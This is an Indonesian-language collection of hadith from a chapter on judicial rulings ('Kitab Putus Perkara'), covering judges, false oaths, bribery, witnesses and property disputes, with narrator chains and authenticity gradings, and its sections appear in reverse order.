Dari Al-Asy'ats Ibnu Qais Radliyallaahu 'anhu bahwa Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Barangsiapa bersumpah untuk mengambil harta milik seorang Muslim, padahal ia berdusta dalam sumpah itu, ia akan menemui Allah dalam keadaan murka." Muttafaq Alaihi.
Hadits ke-31
Dari Abu Musa Radliyallaahu 'anhu bahwa ada dua orang yang bersengketa masalah seekor hewan. Tidak seorang pun di antara mereka yang memiliki bukti. Maka Rasulullah Shallallaahu 'alaihi wa Sallam memutuskan bahwa keduanya mendapatkan setengah. Riwayat Ahmad, Abu Dawud, dan Nasa'i. Lafadz hadits menurut Nasa'i dan ia berkata: sanadnya baik.
Hadits ke-32
Dari Jabir Radliyallaahu 'anhu bahwa Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Barangsiapa bersumpah di atas mimbarku ini dengan sumpah palsu, ia akan menyediakan tempat duduknya dari api neraka." Riwayat Ahmad, Abu Dawud, dan Nasa'i. Hadits shahih menurut Ibnu Hibban.
Hadits ke-33
Dari Jabir Radliyallaahu 'anhu bahwa Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Ada tiga orang yang tidak akan diajak bicara oleh Allah pada hari kiamat, tidak dilihat dan tidak akan disucikan, dan bagi mereka adzab yang pedih, yaitu: Orang yang mempunyai kelebihan air di padang pasir namun tidak mau memberikannya kepada orang yang berada di tengah perjalanan; orang yang menawarkan barang dagangan kepada orang lain setelah Ashar, lalu ia bersumpah dengan nama Allah bahwa ia telah membelinya sekian dan sekian sehingga lawannya mempercayainya, padahal sebenarnya tidaklah demikian; dan seseorang yang mengikrarkan kepatuhannya kecuali untuk kepentingan dunia (harta), bila sang pemimpin memberinya ia akan patuh dan bila tidak memberinya ia tidak akan mematuhinya." Muttafaq Alaihi.
Hadits ke-34
Dari Jabir Radliyallaahu 'anhu bahwa ada dua orang pernah bersengketa masalah seekor unta. Salah seorang di antara mereka berkata: Unta ini dilahirkan di tempatku. Keduanya sama-sama memperlihatkan bukti. Lalu Rasulullah Shallallaahu 'alaihi wa Sallam memutuskan bahwa unta itu milik orang yang ditempati unta.
Hadits ke-35
Dari Ibnu Umar Radliyallaahu 'anhu bahwa Nabi Shallallaahu 'alaihi wa Sallam pernah mengembalikan sumpah kepada penuntut kebenaran. Kedua hadits di atas riwayat Daruquthni dan dalam sanad keduanya ada kelemahan.
Hadits ke-36
'Aisyah Radliyallaahu 'anhu berkata: Nabi Shallallaahu 'alaihi wa Sallam pada suatu hari memasuki rumahku dengan gembira, berseri-seri wajahnya, dan bertanya: "Tidakkah engkau perhatikan Mujazziz al-Mudlijy?. Ia tadi melihat Zaid Ibnu Harits dan Uzamah Ibnu Zaid. Lalu ia (Mujazziz) berkata: Kaki-kaki ini sebagiannya dari sebagian yang lain." Muttafaq Alaihi.

putus perkara 2

Hadits ke-11
'Aisyah Radliyallaahu 'anhu berkata: Aku mendengar Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Hakim yang adil akan dipanggil pada hari kiamat, lalu ia mendapat perhitungan yang melelahkan sehingga ia berkeinginan, alangkah baiknya jika seumur hidupnya ia tidak pernah memutuskan hukum antara dua orang." Riwayat Ibnu Hibban. Baihaqi juga meriwayatkan dengan tambahan: "Dalam masalah sebiji kurma."
Hadits ke-12
Dari Abu Bakrah Radliyallaahu 'anhu bahwa Nabi Shallallaahu 'alaihi wa Sallam bersabda: "Tidak akan bahagia suatu kaum yang menyerahkan kekuasaan mereka kepada seorang perempuan." Riwayat Bukhari.
Hadits ke-13
Dari Abu Maryam al-Azdy Radliyallaahu 'anhu bahwa Nabi Shallallaahu 'alaihi wa Sallam bersabda: "Barangsiapa diserahi kekuasaan oleh Allah untuk menangani urusan kaum muslimin, namun ia tidak memperhatikan kebutuhan mereka dan kaum fakir, maka Allah tidak akan memperhatikan kebutuhannya." Riwayat Abu Dawud dan Tirmidzi.
Hadits ke-14
Abu Hurairah Radliyallaahu 'anhu berkata: Rasulullah Shallallaahu 'alaihi wa Sallam melaknat penyuap dan penerima suap dalam masalah hukum. Riwayat Ahmad dan Imam Empat. Hadits hasan menurut Tirmidzi dan shahih menurut Ibnu Hibban.
Hadits ke-15
Hadits tersebut mempunyai hadits saksi riwayat Imam Empat selain Nasa'i dari Abdullah Ibnu Amar.
Hadits ke-16
Abdullah Ibnu Zubair Radliyallaahu 'anhu berkata: Rasululah Shallallaahu 'alaihi wa Sallam memutuskan bahwa dua orang yang bersengketa harus duduk (untuk memutuskan perkara mereka) di depan hakim. Riwayat Abu Dawud. Hadits shahih menurut Hakim.
Hadits ke-17
Dari Zaid Ibnu Kholid al-Juhany bahwa Nabi Shallallaahu 'alaihi wa Sallam bersabda: "Maukah kalian aku beritahu sebaik-baik persaksian? Yaitu orang yang datang memberi saksi sebelum diminta persaksiannya." Riwayat Muslim.
Hadits ke-18
Dari Imran Ibnu Hushoin Radliyallaahu 'anhu bahwa Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Sebaik-baik orang di antara kamu ialah (hidup) seabad denganku, lalu orang setelah mereka, kemudian orang-orang setelah mereka; setelah itu datanglah suatu bangsa yang memberi persaksian padahal mereka tidak diminta menjadi saksi, mereka berkhianat padahal mereka tidak diberi amanat, mereka bernadzar dan tidak memenuhinya, dan tubuh mereka tampak gemuk." Muttafaq Alaihi.
Hadits ke-19
Dari Abdullah Ibnu Amar Radliyallaahu 'anhu bahwa Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Tidak sah persaksian seorang laki-laki dan perempuan pengkhianat, persaksian orang yang menyimpan rasa dengki terhadap saudaranya, dan tidak sah pula persaksian pembantu rumah terhadap keluarga rumah tersebut." Riwayat Ahmad dan Abu Dawud.
Hadits ke-20
Dari Abu Hurairah bahwa ia mendengar Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Tidak sah persaksian Arab Badui (Arab Dusun) terhadap orang kota." Riwayat Abu Dawud dan Ibnu Majah

putus perkara

14. Kitab Putus Perkara


Hadits ke-1
Dari Buraidah Radliyallaahu 'anhu bahwa Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Hakim itu ada tiga, dua orang di neraka dan seorang lagi di surga. Seorang yang tahu kebenaran dan ia memutuskan dengannya, maka ia di surga; seorang yang tahu kebenaran, namun ia tidak memutuskan dengannya, maka ia di neraka; dan seorang yang tidak tahu kebenaran dan ia memutuskan untuk masyarakat dengan ketidaktahuan, maka ia di neraka." Riwayat Imam Empat. Hadits shahih menurut Hakim.


Hadits ke-2
Dari Abu Hurairah Radliyallaahu 'anhu bahwa Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Barangsiapa diangkat sebagai hakim, ia telah disembelih dengan pisau." Riwayat Ahmad dan Imam Empat. Hadits shahih menurut Ibnu Khuzaimah dan Ibnu Hibban.


Hadits ke-3
Dari Abu Hurairah Radliyallaahu 'anhu bahwa Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Sesungguhnya engkau sekalian akan rakus terhadap kekuasaan padahal ia akan menjadi penyesalan di hari kiamat. Maka alangkah baiknya penyusu (penguasa di dunia) dan alangkah jeleknya pemutus susu (kematian)." Riwayat Bukhari.


Hadits ke-4
Dari Amar Ibnu Al-'Ash Radliyallaahu 'anhu bahwa ia mendengar Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Apabila seorang hakim menghukum dan dengan kesungguhannya ia memperoleh kebenaran, maka baginya dua pahala; apabila ia menghukum dan dengan kesungguhannya ia salah, maka baginya satu pahala." Muttafaq Alaihi.


Hadits ke-5
Abu Bakrah Radliyallaahu 'anhu berkata: Aku mendengar Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Janganlah seseorang menghukum antara dua orang dalam keadaan marah." Muttafaq Alaihi.


Hadits ke-6
Dari Ali Radliyallaahu 'anhu bahwa Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Apabila ada dua orang meminta keputusan hukum kepadamu, maka janganlah engkau memutuskan untuk orang yang pertama sebelum engkau mendengar keterangan orang kedua agar engkau mengetahui bagaimana harus memutuskan hukum." Ali berkata: Setelah itu aku selalu menjadi hakim yang baik. Riwayat Ahmad, Abu Dawud dan Tirmidzi. Hadits hasan menurut Tirmidzi, dikuatkan oleh Ibnu al-Madiny, dan dinilai shahih oleh Ibnu Hibban.


Hadits ke-7
Ada hadits saksi riwayat Hakim Ibnu Abbas.


Hadits ke-8
Dari Ummu Salamah Radliyallaahu 'anhu bahwa Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Sesungguhnya engkau sekalian selalu mengadukan persengketaan kepadaku. Bisa jadi sebagian darimu lebih pandai mengemukakan alasan daripada yang lainnya, lalu aku memutuskan untuknya seperti yang aku dengar darinya. Maka barangsiapa yang aku berikan kepadanya sesuatu yang menjadi hak saudaranya, sebenarnya aku telah mengambil sepotong api neraka untuknya." Muttafaq Alaihi.


Hadits ke-9
Jabir berkata: Aku mendengar Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Bagaimana suatu umat dapat terhormat bila hak orang lemah tidak dapat dituntut dari mereka yang kuat." Riwayat Ibnu Hibban.


Hadits ke-10
Ada hadits saksi dari Buraidah riwayat al-Bazzar dan dari Abu Said riwayat Ibnu Majah.